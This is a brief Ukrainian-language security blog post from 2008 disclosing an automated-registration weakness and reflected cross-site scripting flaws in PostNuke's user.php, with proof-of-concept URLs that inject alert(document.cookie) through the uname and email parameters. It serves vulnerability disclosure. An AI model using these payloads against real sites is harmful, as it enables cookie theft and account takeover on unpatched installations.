Websecurity - Веб безпека

Сьогодні я знайшов Insufficient Anti-automation та Cross-Site Scripting уразливості в системі PostNuke. Дірки я виявив на сайті, що використовує даний движок. Про що найближчим часом повідомлю розробникам системи.

Insufficient Anti-automation:

Уразливість в user.php (в модулі NS-NewUser).

http://site/user.php?uname=test&email=test@test.com&vemail=test@test.com&agreetoterms=1&module=NS-NewUser&op=finishnewuser

XSS:

Уразливості в user.php (в модулі NS-NewUser) в параметрах uname та email.

http://site/user.php?uname=%22%20style=%22xss:expression(alert(document.cookie))&module=NS-NewUser&op=confirmnewuser

http://site/user.php?email=%3Cscript%3Ealert(document.cookie)%3C/script%3E&vemail=&module=NS-NewUser&op=confirmnewuser

Уразлива версія PostNuke 0.7.1 та попередні версії (та потенційно наступні версії).

This entry was posted on 23:52 19.07.2008 and is filed under Уразливості. You can follow any responses to this entry through the RSS 2.0 feed.